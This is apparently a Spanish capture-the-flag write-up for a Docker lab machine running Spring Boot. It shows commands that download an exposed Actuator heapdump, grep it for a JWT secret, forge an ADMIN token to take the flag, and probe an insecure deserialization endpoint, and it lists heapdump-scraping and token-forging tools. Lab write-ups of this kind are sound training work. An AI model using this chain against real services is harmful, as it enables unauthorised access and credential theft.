Difícil Hacking Web Linux · Contenedor Spring Boot

Apadrina un Pingüino — de Actuator a root

Auditoría de extremo a extremo de la máquina PinguPenguin: desde la descarga y el despliegue con comandos nativos, pasando por el seguimiento forense (PID · PPID · fecha · usuario · TTY), hasta la explotación completa.

FLAG FLAG{actuator_h34pdump_jwt_f0rg3ry_pwn3d}
Autor del labEl Pingüino de Mario
IP víctima172.17.0.2
Puerto8080/tcp
MotorDocker Desktop 4.83.0

Cadena de ataque

1

Actuator expuesto

/actuator/* sin autenticación.

→
2

Heapdump

63 MB de memoria → grep del secreto.

→
3

Forjado JWT

app.jwt.secret → token role=ADMIN.

→
4

/admin

Panel admin → FLAG.

→
5

Deserialización

/admin/restore → RCE (www-data).

→
6

root

RECOVERY_KEY reutilizada como pass de root.

Metodología — fases auditadas

Cada fase quedó registrada con marcas de tiempo y cadena de procesos.

Fase A

Despliegue

Docker Desktop arrancado; el auto_deploy.sh ejecuta docker load + docker run --platform linux/amd64 sobre la imagen exportada (no una VM).

docker load -i pingupenguin.tar
docker run --platform linux/amd64 -d --name pingupenguin_container pingupenguin
Fase B

Forensia de despliegue

Traza bash -x con PS4 forense: cada comando con fecha UTC, PID, PPID, usuario, TTY y nº de línea. El script se detiene con TERM (no INT) para preservar el laboratorio.

bash run_deploy.sh pingupenguin.tar   # → deploy_xtrace.log
Fase C

Reconocimiento

Puerto 8080 (Spring Boot). Actuator totalmente expuesto: env, beans, mappings y heapdump (63 MB).

Fase D

Explotación

Fuga del secreto JWT desde el heapdump → forjado de token ADMIN → flag en /admin. Deserialización insegura en /admin/restore (RCE).

Fase E

Virtualización

Estado y recursos con comandos nativos: kernel linuxkit, 10 CPU, 7.75 GiB, overlayfs, PID 1 emulado con qemu-x86_64.

Vulnerabilidades identificadas

#VulnerabilidadSeveridadCWE
1Actuator de Spring Boot expuesto sin authAltaCWE-200
2Heapdump accesible → fuga del secreto JWTCríticaCWE-200 / CWE-321
3Secreto JWT débil y hardcodeado → forjado ADMINCríticaCWE-321 / CWE-347
4Deserialización Java insegura en /admin/restore (RCE)CríticaCWE-502
5Reutilización de credenciales (app ↔ root del SO)CríticaCWE-798

Evidencia

Fuga del secreto
$ curl -s -o heapdump.bin http://172.17.0.2:8080/actuator/heapdump
$ strings -a heapdump.bin | grep -iE "jwt.*secret|secret.*key"
app.jwt.secret=changeme-super-secret-key-pinguinos-prod-2024
Forjado de JWT (HS256)
$ python3 forge_jwt.py --secret 'changeme-super-secret-key-pinguinos-prod-2024'
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJBRE1JTiIsImlhdCI6MTc5MTk3NTU0MywiZXhwIjoxNzkxOTc5MTQzfQ.6lNMCXfvVYrztfemRhnwJudHt0Dz3toO-DLxbP5La7c

$ curl -s -o /dev/null -w '%{http_code}\n' -H "Cookie: session=$TK" http://127.0.0.1:8080/admin
200
Flag en /admin
<h1>🔐 Panel de administración</h1>
<div class="flag">🏴 FLAG{actuator_h34pdump_jwt_f0rg3ry_pwn3d}</div>
Sink de deserialización
$ curl -s -H "Cookie: session=$TK" -X POST http://127.0.0.1:8080/admin/restore \
    --data-urlencode "backup=$(printf 'hola' | base64)"
No se pudo restaurar la copia: invalid stream header: 686F6C61
# 686F6C61 = "hola" → mensaje de java.io.ObjectInputStream ⇒ deserialización insegura
Virtualización (nativo)
$ docker info --format '{{.OperatingSystem}} {{.KernelVersion}} CPUs={{.NCPU}} Mem={{.MemTotal}} {{.Driver}}'
Docker Desktop 6.12.76-linuxkit CPUs=10 Mem=8321515520 overlayfs

$ docker top pingupenguin_container -eo pid,ppid,user,cmd
PID  PPID USER     CMD
792  768  www-data /usr/bin/qemu-x86_64 /opt/java/openjdk/bin/java java -jar /app/app.jar

Archivos de evidencia (salidas completas)

Toolkit de auditoría

Herramientas creadas para esta auditoría (código abierto, sin dependencias pesadas).

audit.sh

Registro forense: fecha UTC, PID, PPID, usuario, TTY, pwd y comando + snapshots del inventario de archivos.

run_deploy.sh

Ejecuta el auto_deploy.sh real bajo bash -x con PS4 forense; lo detiene con TERM para preservar el contenedor.

spring_recon.sh

Fingerprint y barrido de endpoints de Spring Boot / Actuator.

heapdump_secrets.sh

Descarga el heapdump y filtra secretos, credenciales, JDBC y hashes.

forge_jwt.py

Forjador de JWT HS256 (PoC de escalada a ADMIN).

verify_docker_state.sh

Estado de virtualización y recursos con comandos nativos de Docker.

submit_writeup.sh

Envía el writeup a DockerLabs por CLI (/api/submit_writeup).